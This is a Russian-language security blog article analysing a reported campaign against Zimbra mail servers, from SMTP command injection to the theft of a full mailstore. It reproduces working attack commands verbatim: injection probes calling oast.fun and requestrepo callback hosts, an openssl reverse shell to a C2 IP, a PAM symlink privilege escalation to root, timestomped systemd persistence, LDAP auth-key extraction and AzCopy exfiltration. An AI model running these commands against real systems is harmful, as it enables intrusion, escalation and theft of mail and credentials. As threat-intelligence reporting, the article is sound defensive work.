Логотип ШифрыШифры
ГлавнаяЖурналЛотыУзел ИИВойти
ГлавнаяЖурналЛотыУзел ИИ
Войти
Логотип ШифрыШифры2К26Версияъ1
EmailMAX
Назад к логу

Zimbra вскрыли одним письмом и вынесли всю почту инструментом Microsoft в облако Microsoft

10 октября 2026 г.•Репа
#атаки#разведка#тулзы

Ни одного клика. Ни ссылки в теле, ни вложения, ни пользователя на том конце. Письмо даже не доходит до почтового ящика – оно отрабатывает в SNMP-мониторинге ещё на пути туда, и shell-метасимволы в его теле поднимают командную оболочку с привилегиями учётки zimbra. CVE-2026-73570 – unauthenticated command injection в пути обработки SNMP-нотификаций Zimbra Collaboration Suite. Одно специально сформированное SMTP-сообщение, опциональный пакет zimbra-snmp, включённые SNMP-уведомления – и swatchdog сам передаёт нагрузку в snmptrap как часть штатного shell-вызова мониторинга.

Оператор, работавший по этой уязвимости, не привёз ни одного эксплойт-фреймворка. Всё, что дало ему root и позволило снять мастер-ключ от любой почтовой сессии, разойтись по нодам кластера и упаковать полный дамп mailstore, – уже стояло на целевом сервере. Единственный собственный код – Go-тулкит из трёх бинарей – и тот лишь обёртка над localconfig.xml, MySQL-схемой Zimbra и её LDAP-деревом. Платформа стала ядром импланта. Microsoft Threat Intelligence фиксировала эту активность с конца июля 2026 года в нескольких регионах и отраслях.

Как swatchdog и snmptrap превращают SMTP в командную оболочку

Zimbra использует swatchdog – демон, наблюдающий за состоянием сервисов. Когда сервис меняет статус, swatchdog генерирует Perl-скрипт .swatchdog_script, который вызывает snmptrap через shell. Внутри этого вызова – имя сервиса, и оно попадает в аргумент без санитизации. Специально сформированный SMTP-запрос протаскивает shell-метасимволы – ;, |, &, <, >, `, $ – через цепочку обработки SNMP-нотификаций, и snmptrap исполняет их как часть shell-команды. Perl порождает dash или bash, а в аргументе -c между OID-полями zmservicename и zmservicestatus лежит инъекция:

snmptrap ... ::zmservicename s "INJECTED;curl http://callback.oast.fun #" ::zmservicestatus ...

Хвостовой # глушит остаток легитимных аргументов – snmptrap видит только OID-поля, shell исполняет инъекцию. Результат – командная оболочка с привилегиями сервисной учётки zimbra, без аутентификации, без взаимодействия с пользователем. Условие одно: на сервере должен стоять опциональный пакет zimbra-snmp и должны быть включены SNMP-уведомления.

Zimbra закрыла уязвимость 20 июля 2026 года в версии 10.1.20. Публичное раскрытие CVE-2026-73570 произошло 13 августа – через 24 дня. Именно в этом окне, между устранением и раскрытием, Microsoft и зафиксировала активность по тому же вектору.

ZB73570 в User-Agent, когда CVE ещё не существовала

С 28 июля по 7 августа – через восемь дней после патча, но за шестнадцать дней до публичного раскрытия – Microsoft зафиксировала два самостоятельных инструмента, прощупывавших тот же путь swatchdog → snmptrap. Это было не ковровое сканирование: операторы точно знали, какой путь проверять, и знали это раньше, чем мир узнал номер CVE.

Валидация исполнения шла через OOB-пробы – HTTP-, DNS- и ICMP-канарейки на уникальные поддомены collaborator-сервисов oast[.]fun, oast[.]online, dnslog[.]pp[.]ua, requestrepo[.]com и инфраструктуру под bypass[.]eu[.]org. Команды – стандартный набор:

curl -A "ZB73570" http://<unique-id>.oast.fun/
nslookup <random>.dnslog.pp.ua
ping -c 1 <random>.oast.online
id | curl -d @- http://<unique-id>.requestrepo.com/

User-Agent ZB73570 – прямая ссылка на номер уязвимости в HTTP-пробах. DNS и ICMP шли на рандомизированные callback-субдомены. Ни одного payload'а – только подтверждение: shell жив, DNS резолвится наружу, HTTP ходит. В одном случае в webroot сбросили лёгкий fingerprint-скрипт, снявший отпечаток системы.

Восемь дней между выходом патча и началом зондирования ложатся в понятную картину. Zimbra публикует changelogs с описанием исправленного, и diff патч-релиза указывает на изменённые файлы в SNMP-обработке: восстановить вектор по такому diff'у – рутинная инженерная работа для того, кто знает кодовую базу, классический n-day по патчу. Не исключён и доступ к информации об уязвимости до публичного раскрытия – временное окно этого не опровергает. Так или иначе, на участке 28 июля – 13 августа операторы работали по 1-day, который для всех остальных был −1-day.

JSP в Jetty и reverse shell на named pipe

Получив шелл через инъекцию, оператор закреплялся в веб-слое. Последовательность: временное открытие прав на запись в публичный каталог Zimbra, реконструкция payload'а из staged-фрагментов через base64 и gzip, декодирование результата прямо в .jsp-файл – и немедленное восстановление прав:

chmod 777 /opt/zimbra/jetty_base/webapps/zimbra/public/
echo "H4sI..." >> /tmp/.f && echo "AAAB..." >> /tmp/.f
base64 -d /tmp/.f | gunzip > /opt/zimbra/jetty_base/webapps/zimbra/public/error.jsp
chmod 755 /opt/zimbra/jetty_base/webapps/zimbra/public/
rm -f /tmp/.f

Staging-фрагменты удалялись сразу после сборки – окно видимости ограничено секундами между chmod 777 и chmod 755. JSP-шеллы размещались в нескольких точках одновременно: /jetty_base/webapps/, /jetty/webapps/, /mailboxd/webapps/, каталог compiled-сервлетов /work/zimbra/jsp/ – включая сгенерированные *_jsp.java и скомпилированные servlet-артефакты. Копии ставились на peer mailbox nodes кластера: альтернативные точки доступа по HTTP, не зависящие от жизни одного шелла. Оператор знал топологию Jetty и mailboxd: один JSP в одном каталоге покрывает не все HTTP-маршруты Zimbra, и шелл в каждой точке – не избыточность, а покрытие.

Другие цепочки исполнения использовали cron для периодического запуска, systemd для persistence-юнитов и memfd_create для исполнения целиком в памяти, без файла на диске. Три парадигмы: webshell для HTTP-доступа, cron/systemd для переживания рестарта, memfd для работы без артефактов.

Для перехода к hands-on-keyboard – reverse shell на стандартных Linux-утилитах:

mkfifo /tmp/s
/bin/sh -i < /tmp/s 2>&1 | openssl s_client -connect 45.32.30.235:8081 > /tmp/s

Named pipe /tmp/s связывает интерактивный /bin/sh с openssl s_client – шифрованное соединение к 45.32.30[.]235:8081, самому раннему из зафиксированных C2-адресов кампании. Через SNMP-инъекцию удобно доставлять однострочники; для многошаговых операций – PAM-эскалации, ручного обхода кластера, конфигурации persistence – нужен интерактивный шелл. Позднее фиксировались reverse-shell волны по всей организации через 193.42.40[.]135:443, а при ротации инфраструктуры – через 3.209.137[.]175:443.

zmprov, zimbra_identity и карта кластера

Прежде чем эскалировать привилегии, оператор составлял карту. Provisioning-команда zmprov – штатный инструмент администрирования Zimbra – перечислила mailbox- и MTA-ноды:

zmprov getAllServers mailbox
zmprov getAllServers mta
ls -la /opt/zimbra/.ssh/zimbra_identity

Параллельно – проверка наличия SSH-ключа /opt/zimbra/.ssh/zimbra_identity, через который Zimbra администрирует кластер по доверию. Ключ на месте означает, что горизонтальное перемещение – вопрос одной SSH-команды без пароля и без проверки host-key. DNS-канарейки на этом этапе передавали наружу количество mailbox-серверов и характеристики хоста – оператор делился разведкой со своей инфраструктурой через кодирование данных в субдоменных метках.

К моменту эскалации он уже знал, сколько нод в кластере, где стоит mailbox, где – MTA, и есть ли административное SSH-доверие между ними.

Два helper'а Zimbra, symlink и pam_exec складываются в root

Эскалация привилегий от zimbra до root – центральный узел операции, и он целиком построен на логике самой платформы. Ни одного kernel-эксплойта, ни одного стороннего бинаря. Два sudo-дозволенных helper'а Zimbra – zmmailboxdmgr и zmstat-fd – в связке с writable-логом, символической ссылкой на PAM-конфиг и хуком pam_exec собраны в цепочку, в которой каждый шаг – легитимная операция, а результат – полный root.

Оператор убеждается, что zmmailboxdmgr существует и каталог /opt/zimbra/log/ доступен на запись учётке zimbra – штатное условие, zmmailboxdmgr пишет туда zmmailboxd.out. Затем – бэкап /etc/pam.d/sudo, замена штатного лога символической ссылкой на PAM-конфиг и вызов привилегированного helper'а:

cp /etc/pam.d/sudo /tmp/.pam_backup
rm -f /opt/zimbra/log/zmmailboxd.out
ln -s /etc/pam.d/sudo /opt/zimbra/log/zmmailboxd.out

zmmailboxdmgr прописан в sudoers Zimbra. Он запускается от root и пишет в zmmailboxd.out – а тот теперь ведёт в /etc/pam.d/sudo. После записи PAM-конфиг оказывается owned учёткой zimbra, и оператор дописывает в него pam_exec session hook, вызывающий локальный скрипт:

echo "session optional pam_exec.so /tmp/.esc.sh" >> /etc/pam.d/sudo

Содержимое /tmp/.esc.sh – одна строка: запись zimbra ALL=(ALL) NOPASSWD: ALL в /etc/sudoers.d/81_metric. Остаётся триггер: вызов zmstat-fd – ещё одного sudo-дозволенного helper'а Zimbra. Он инициирует sudo-сессию, PAM исполняет hook как root, скрипт создаёт sudoers entry. Учётка zimbra получает NOPASSWD:ALL.

Зачистка: оригинальный PAM-конфиг восстанавливается из бэкапа, symlink и временные файлы удаляются. Единственный артефакт – /etc/sudoers.d/81_metric. Все последующие операции идут через sudo без пароля:

cp /tmp/.pam_backup /etc/pam.d/sudo
rm -f /tmp/.pam_backup /tmp/.esc.sh /opt/zimbra/log/zmmailboxd.out

Контроллер содержал и запасные пути эскалации – через Postfix, Java-агент, zmstat-fd в другой роли, nginx. На наблюдённых серверах сработал именно маршрут через zmmailboxdmgr и PAM. Кроме того, на части хостов в tmpfs лежал .lpe_core – публичный тулкит Looptik для kernel LPE с GitHub, – но Microsoft Defender его карантинил.

Kernel LPE у оператора был под рукой – работоспособный, проверенный инструмент. Но kernel-эксплойт оставляет модуль ядра в памяти, зависит от версии ядра и дистрибутива, при неудаче роняет хост и создаёт артефакт, видимый любому EDR с kernel-level хуками. PAM-маршрут через helper'ы Zimbra не оставляет ни одного kernel-артефакта, не требует рестарта, не зависит от версии ядра и невидим для EDR, работающего на уровне модулей. Цена – архитектурная сложность: цепочка шагов в строгом порядке, каждый узел которой – легитимная утилита платформы, используемая не по назначению, и знание внутренней архитектуры Zimbra на уровне, которого большинство её SRE-инженеров не держат. Оператор выбрал сложность ради невидимости – и не ошибся: Defender карантинил Looptik, но не увидел PAM-манипуляцию.

Схема эскалации привилегий Zimbra: символическая ссылка подменяет лог-файл zmmailboxd.out на /etc/pam.d/sudo, привилегированный zmmailboxdmgr делает PAM-конфиг доступным для записи учётке zimbra, инъекция pam_exec и триггер zmstat-fd исполняют хук от root и создают запись NOPASSWD:ALL в /etc/sudoers.d/81_metric.
От подмены лог-файла Zimbra до NOPASSWD:ALL: zmmailboxdmgr, zmstat-fd и pam_exec в одной цепочке

zimlog.service с датой рождения от rsync.service

Root получен – оператор закреплялся на уровне, который переживёт рестарт. Systemd-юнит zimlog.service в /etc/systemd/system/ – за пределами каталогов Zimbra, но с именем, которое любой администратор примет за штатный logging-компонент платформы. Файл перемещался из /tmp через sudo, назначался сервисной учётке zimbra, а его временные метки перебивались по образцу штатных сервисов:

sudo mv /tmp/zimlog.service /etc/systemd/system/
sudo touch -r /etc/systemd/system/rsync.service /etc/systemd/system/zimlog.service
sudo systemctl daemon-reload && sudo systemctl enable zimlog.service

touch -r копирует mtime/atime с rsync.service. Второй образец для подгонки – sshd.service. В листинге /etc/systemd/system/ юнит выглядит файлом, лежащим в системе с момента установки: правильная дата, правильное имя, правильный owner. systemctl enable обеспечивает запуск при загрузке.

На другой ноде стоял второй юнит – chronyd-helper.service, работавший как root, с именем под вспомогательный сервис NTP-демона chrony. Два механизма persistence на разных нодах, с разными уровнями привилегий – избыточность на случай, если один из них найдут и снимут.

Одна команда zmlocalconfig до мастер-ключа всех сессий

Получив root, оператор взял самое ценное – ключи, на которых держится вся аутентификация платформы. Zimbra централизует сервисные креды в localconfig.xml, и одна команда выгружает их в чистом виде:

zmlocalconfig -s | grep -E "(password|secret)"

Из неё выпадают пароли LDAP, MySQL, Postfix, Amavis и replication-сервисов. Но это лишь ступень к настоящей добыче. По восстановленным LDAP-кредам оператор запускал аутентифицированный ldapsearch на атрибуты, ради которых стоило ломать весь кластер:

ldapsearch -x -H ldap://localhost \
  -D "uid=zimbra,cn=admins,cn=zimbra" -w "<password>" \
  -b "cn=config,cn=zimbra" zimbraAuthTokenKey

ldapsearch -x -H ldap://localhost \
  -D "uid=zimbra,cn=admins,cn=zimbra" -w "<password>" \
  -b "" zimbraPreAuthKey

ldapsearch -x -H ldap://localhost \
  -D "uid=zimbra,cn=admins,cn=zimbra" -w "<password>" \
  -b "" zimbraTwoFactorAuthSecret

zimbraAuthTokenKey из cn=config,cn=zimbra – материал, которым Zimbra подписывает сессионные токены всех пользователей на всей платформе. Владея этим ключом, можно сгенерировать валидный токен для любого аккаунта без знания его пароля, без перехвата сессии, без фишинга – навсегда, пока ключ не ротирован. Это не кража сессии – это кража механизма создания сессий.

zimbraPreAuthKey позволяет строить pre-authenticated URL для произвольного пользователя. На практике: оператор формирует URL с параметрами account, timestamp и HMAC-подписью, вычисленной по захваченному ключу. Один HTTP GET – и ящик открыт. В auth-логах Zimbra такой вход неотличим от легитимного pre-authenticated доступа: те же поля, та же подпись, тот же механизм. Разница одна – владелец ключа. zimbraTwoFactorAuthSecret – секреты двухфакторной аутентификации, снимаемые одним LDAP-запросом: весь 2FA-слой защиты перестаёт существовать.

Контраст с тем, как год назад работал Laundry Bear по той же Zimbra, показателен. Та операция строилась на XSS в Classic UI: JavaScript-payload ZimReaper крал открытую сессию из вкладки браузера – по одной, из каждого ящика, который жертва не закрыла. Пассивная кража одноразового токена. Здесь оператор снимает мастер-ключ одной командой и подделывает токены на всю платформу. Та же Zimbra, другой класс работы: от кражи из открытой вкладки – к захвату механизма подписи целиком.

Собранное паковалось в скрытые архивы. Последовательность zmlocalconfig -s → ldapsearch наблюдалась на нескольких скомпрометированных серверах – это была системная процедура, а не одноразовый набег.

SSH-ключ Zimbra как пропуск на весь кластер

Zimbra хранит SSH identity для межнодового администрирования в /opt/zimbra/.ssh/zimbra_identity. Ключ создаётся один раз и копируется на все ноды кластера – чтобы zmprov, zmcontrol и прочие утилиты администрирования ходили по SSH без пароля. Оператор использовал именно его:

ssh -i /opt/zimbra/.ssh/zimbra_identity \
  -o StrictHostKeyChecking=no -o BatchMode=yes \
  zimbra@<peer-node>

Нонинтерактивный режим, проверка host-key отключена – автоматизированные подключения к каждой ноде кластера. Через rsync на peer-ноды уходили payload-фрагменты, helper-скрипты и JSP-шеллы:

rsync -avz --remove-source-files \
  /tmp/.staged/ zimbra@<peer-node>:/tmp/.incoming/

Флаг --remove-source-files зачищает отправленное на originator'е после успешной передачи. На принимающей стороне переданные фрагменты сверялись с ожидаемыми значениями, и только после валидации запускалась сборка payload'а. Источники удалялись и на промежуточных точках – к моменту активации шелла на peer-ноде оставался только готовый к работе JSP, а путь его доставки был зачищен. Один скомпрометированный хост Zimbra автоматически тянул за собой весь кластер – через доверие, которое сама Zimbra проложила для своих административных нужд и которое ни один из наблюдённых администраторов не менял и не ограничивал.

Go-тулкит, собранный ради одной платформы

Параллельно с ручной работой оператор разворачивал собственный инструментарий. Начальные загрузчики – shell-скрипты в нескольких вариантах: de.sh раздавался с 117.107.25[.]243:7071, agent2.sh – с dynamic DNS домена transzimbra[.]linkpc[.]net. На одном из хостов был подтверждён запуск tarball-дроппера с S3-бакета mexico-cashpay-test.s3.dualstack.mx-central-1.amazonaws[.]com. Скрипты размещали Stage 1 внутри структуры каталогов логов Zimbra – в директориях, которые администратор не станет проверять вручную.

Скачанный zimdown2 – Go-бинарь, работающий как installer для финального агента. Архитектура installer'а: верификация загруженного агента по SHA-256, несколько методов загрузки с fallback'ами (curl, wget, python3, python, perl, /dev/tcp), отчёт о статусе установки через отдельный WebSocket на wslogzimbra[.]linkpc[.]net/wsstat. Установщик сам подбирал writable-путь под размещение (Stage 1 оседал в log-структуре Zimbra) и генерировал имя файла на основе окружения хоста – на каждом хосте уникальное, не совпадающее с сигнатурами известных семейств. Это не одноразовый дроппер – это инженерный продукт с проверкой целостности, диагностикой и status reporting.

Финальный zimclient2 – полноценный remote-access agent. Интерактивный шелл, двунаправленные файловые операции, SOCKS5-проксирование для сетевого пивотинга через скомпрометированный сервер. Три транспорта: WebSocket через psk1zim[.]abrdns[.]com/agentws на порту 80, TLS через tls[.]psk1zim[.]abrdns[.]com на 443, резервный raw TCP на 8080. Потеря одного канала не убивает присутствие.

Persistence-стек zimclient2 покрывает шесть механизмов, и агент при установке проверяет, какие из них доступны в конкретном окружении, активируя все подходящие:

systemd        unit files → daemon-reload → enable → start
OpenRC         /etc/init.d/ скрипты → rc-update → rc-service
cron           /etc/cron.d/ записи, crontab @reboot
shell startup  /etc/profile, /etc/bashrc, .bash_profile, .zprofile
SSH keys       .ssh/authorized_keys
local accounts useradd/adduser с установкой пароля

На части хостов рядом с агентом стоял cryptominer build_amd64, замаскированный под .kworker_sys – имя, имитирующее kernel worker thread. C2 майнера – 192.255.193[.]111:9004. Оператор убивал конкурирующие майнеры и sinkhole'ил их пулы через записи в /etc/hosts – не из альтруизма, а чтобы нагрузка на CPU не привлекала внимание мониторинга.

Под рукой были десятки универсальных RAT – Metasploit-генерированный шеллкод, Cobalt Strike beacon, любой из публичных C2-фреймворков. Дешевле в разработке, шире в возможностях, лучше задокументированы. Но generic RAT не знает схему zimbra.* MySQL-таблиц, не знает, где лежит localconfig.xml и что из него извлекать, не умеет пройти по кластеру через zimbra_identity. А Microsoft Defender на этих серверах уже карантинил известные семейства: Chopper, GodzillaWebShell, CoinMiner, Looptik – всё, что попадает под сигнатурное совпадение. Собственный Go-бинарь с уникальным хешем проходит мимо сигнатурного движка. Цена разработки одноразовая; цена обнаружения generic-инструмента – потеря доступа при первом же обновлении баз.

zimbra-exfil/client-dump – бинарь со схемой БД в константах

Отдельный Go-исполняемый файл с embedded module path zimbra-exfil/client-dump – имя модуля само говорит о назначении. Бинарь спроектирован для работы под учёткой zimbra, которая имеет штатный read-доступ ко всей инсталляции.

При запуске он читает /opt/zimbra/conf/localconfig.xml – primary configuration file Zimbra – и извлекает девять сервисных паролей, зашитых в код как константы:

mysql_root_password         zimbra_mysql_password
ldap_root_password          zimbra_ldap_password
ldap_postfix_password       ldap_amavis_password
ldap_nginx_password         ldap_replication_password
ldap_bes_searcher_password

По этим кредам – подключение к локальному MySQL через Unix-сокет и полный export содержимого: таблицы mailbox, mailbox_metadata, mobile_devices, out_of_office и всё пространство zimbra.*. Не выборка – полный дамп каждой таблицы.

mobile_devices несёт инвентарь устройств, привязанных к каждому аккаунту: модели, токены ActiveSync – карта устройств для таргетирования. out_of_office – расписания отсутствия: информация о том, когда пользователь не за рабочим столом и с меньшей вероятностью заметит аномалию. Пространство zimbra.* – метаданные самой платформы: конфигурация серверов, политики, квоты, GAL. Дамп покрывает не только содержимое почты, но и операционный контекст, в котором она живёт.

Отдельная функция dumpSecrets работает и с файловой системой, и с LDAP-директорией. С диска забираются SSL-сертификат и приватный ключ из /opt/zimbra/ssl/, конфигурационные файлы Postfix LDAP. Из LDAP – аутентифицированные запросы к атрибутам критической чувствительности, которые уже знакомы по ручной фазе операции:

SSL cert + private key     /opt/zimbra/ssl/
Postfix LDAP configs       /opt/zimbra/conf/
zimbraAuthTokenKey         cn=config,cn=zimbra
zimbraPreAuthKey           domain-level
mail filter rules          per-account

Всё складывается в timestamped каталог /tmp/zimbra_dump_YYYYMMDD_HHMMSS/, сжимается в ZIP-архив и готовится к отправке на удалённый endpoint, адрес которого передаётся hex-кодированным аргументом командной строки.

Это не скрипт на коленке. Это утилита, написанная человеком, который держит в голове полную схему БД Zimbra – имена таблиц, пути конфигов, структуру LDAP-дерева – и видит инсталляцию как совокупность данных, каждый элемент которой нужно забрать. Ручная фаза операции (zmlocalconfig -s, ldapsearch) делала то же самое через интерактивный шелл; client-dump – та же процедура, упакованная в автоматизированный инструмент для запуска на каждой ноде одной командой.

AzCopy, Azure Blob и файл windows.log

На одном из скомпрометированных серверов оператор запаковал бэкапы mailbox'ов в /opt/zimbra/final.tar.gz. Затем скачал AzCopy – легитимный инструмент Microsoft для массового копирования данных в Azure Storage:

wget -q https://aka.ms/downloadazcopy-v10-linux -O /tmp/azcopy.tar.gz
tar -xzf /tmp/azcopy.tar.gz -C /tmp/
/tmp/azcopy_linux_amd64_*/azcopy copy \
  "/opt/zimbra/final.tar.gz" \
  "https://wsweb03.blob.core.windows.net/log/windows.log?<SAS_TOKEN>"

Целевой путь – wsweb03[.]blob[.]core[.]windows[.]net/log/windows.log. Почтовый архив уходит под видом лог-файла Windows. Домен – легитимный Azure Blob Storage. SAS-токен – операторский, с ограниченной областью и сроком, привязанный к конкретному контейнеру. Для сетевого защитника этот трафик выглядит ровно как штатный бэкап в облако: домен blob.core.windows.net – в белом списке любого разумного firewall'а, бинарь AzCopy подписан Microsoft, объём передачи характерен для облачного backup-задания.

Microsoft прямо отмечает: доступные свидетельства не подтверждают, что передача завершилась успешно. У оператора уже работал собственный канал эксфильтрации – SOCKS5-проксирование через zimclient2, WebSocket-/TLS-/TCP-транспорты к dynamic DNS доменам. Этот канал полностью под его контролем, но и полностью на виду: custom WebSocket-сессия к DynDNS-домену с нехарактерным профилем трафика – аномалия на почтовом сервере, которую заметит приличный NDR. AzCopy в Azure Blob – трафик, неотличимый от легитимного. Цена – зависимость от чужой инфраструктуры: Microsoft может заблокировать SAS-токен по abuse-репорту. Но для однократного вывода архива это не имеет значения – данные уйдут быстрее, чем отработает abuse pipeline облачного провайдера.

Контракт на Base и ELF из memfd_create

Второй канал управления – dead-drop на блокчейне. Контракт 0x25bdA7Feb3553995AD68a9A8Ed8c731b73a71586 на Base mainnet – Layer 2 сети Ethereum. Зашифрованные команды записываются в тело транзакций контракта и извлекаются агентом через публичный JSON-RPC.

На скомпрометированном хосте загрузчик под именем /dev/shm/systemd-resolved – маскировка под штатный сетевой сервис Linux – устанавливал /usr/sbin/_chronyd и декодировал XOR-шифрованный ELF. Полученный исполняемый файл загружался через memfd_create → /proc/self/fd – целиком в памяти, без записи на диск. memfd_create создаёт анонимный файловый дескриптор в оперативной памяти, execveat() запускает ELF из этого дескриптора, а путь /proc/self/fd/<N> существует только пока жив процесс. Файловые сканеры работают по путям и хешам на диске – у этого бинаря нет ни пути, ни хеша на диске. Forensic-анализ после завершения процесса не найдёт артефакта – только запись в аудит-логе, если он был включён. Вместе с mail-архивом, замаскированным как five.ico в публичном веб-каталоге Zimbra, это завершает картину evasion: каждый артефакт либо исчезает из памяти, либо прячется под штатным именем.

Microsoft указывает прямо: блокировать нужно тела JSON-RPC-запросов к адресу контракта, а не публичных RPC-провайдеров. Провайдеров к Base – десятки, фильтрация по домену не остановит опроса.

Контракт на Base дополняет WebSocket на psk1zim[.]abrdns[.]com, который работал параллельно. Два канала построены на разных принципах: WebSocket – быстрый, с полной пропускной способностью, поддерживает интерактивную работу и SOCKS5, но хрупкий: домен на dynamic DNS лежит в одной юрисдикции и изымается одним запросом к регистратору. Контракт на Base – медленный, ограничен размером транзакции и rate-limit'ами публичных RPC, но неуничтожимый: блокчейн не знает юрисдикций, транзакции неизменяемы, контракт публичен. Ни одна юрисдикция не накроет оба канала одним действием – и оператор это учёл, когда проектировал архитектуру.

Схема кампании по зонам доверия: из интернета SMTP-инъекция попадает на ноду Zimbra, где разворачивается цепочка вебшелл → root → сбор мастер-ключей → дамп mailstore; оттуда латеральное движение по SSH-ключу zimbra_identity на пиры кластера, вывод архива через AzCopy в Azure Blob и два канала управления – WebSocket на psk1zim и контракт на блокчейне Base.
Полный контур кампании: один SMTP-пакет на входе, mailstore и два канала управления на выходе

Ноль привезённых эксплойтов, один украденный mailstore

К 24 августа Shadowserver фиксировал 267 скомпрометированных инстансов Zimbra: 46 в США, 21 в Швеции, 20 во Франции, 17 в Германии. CERT Polska первым поднял публичный сигнал между 17 и 19 августа. CISA внесла CVE-2026-73570 в каталог KEV 21 августа с дедлайном в три дня для федеральных агентств. Microsoft опубликовала полный технический разбор 30 сентября – через десять недель после выхода патча.

Атрибуция в отчёте Microsoft отсутствует: кампания не привязана ни к одной известной группе. Microsoft отдельно оговаривает и другое – цепочка собрана из поведения, наблюдённого на нескольких подтверждённых компрометациях: ни один хост не обязательно прошёл все стадии целиком. Но профиль работы един и говорит сам за себя.

Вся операция стоит на одной CVE на входе. Всё, что идёт после – не эксплойты, а знание Zimbra: zmprov для карты кластера, zmmailboxdmgr + zmstat-fd для root через PAM, zmlocalconfig для сервисных паролей, ldapsearch для мастер-ключей сессий, zimbra_identity для горизонтали по SSH, localconfig.xml как точка входа для автоматизированного дампера. Каждый шаг использует штатный инструмент платформы не по назначению – и ни один из них не помечен как аномалия в штатном мониторинге Zimbra.

PAM-эскалация через два sudo-дозволенных helper'а Zimbra и pam_exec вместо kernel LPE, который Defender карантинил бы на месте. Собственный Go-тулкит под одну платформу вместо generic RAT, чьи хеши давно в базах. AzCopy в Azure Blob вместо собственного курьера, который светится в трафике. Контракт на Base вместо hardcoded C2, который изымается одним ордером. Каждый раз – выбор в пользу невидимости, каждый раз – ценой собственной разработки или архитектурной сложности. Оператор платил временем и инженерной работой за то, чтобы каждый шаг выглядел как легитимная активность самой платформы. Инвестиция в разработку zimbra-exfil/client-dump – утилиты с девятью захардкоженными именами паролей и полной схемой БД – окупается только при систематической работе по Zimbra-серверам: писать такой инструмент ради одного компромисса нерационально.

Год назад Laundry Bear ломал Zimbra через XSS – крал сессии по одной из вкладок браузера, пассивно, без касания сервера. Здесь – ноль кликов, ноль пользователей, один SMTP-пакет. Мастер-ключ подписи сессий вместо одноразового токена. Полный дамп mailstore через кастомный Go-тулкит вместо скриншота одного ящика. Та же платформа, другой класс оператора – тот, кто знает Zimbra лучше, чем её собственный SRE.

Разбор кампании и индикаторы компрометации опубликованы Microsoft Threat Intelligence 30 сентября 2026 года.

Автор: hacker@shifry.local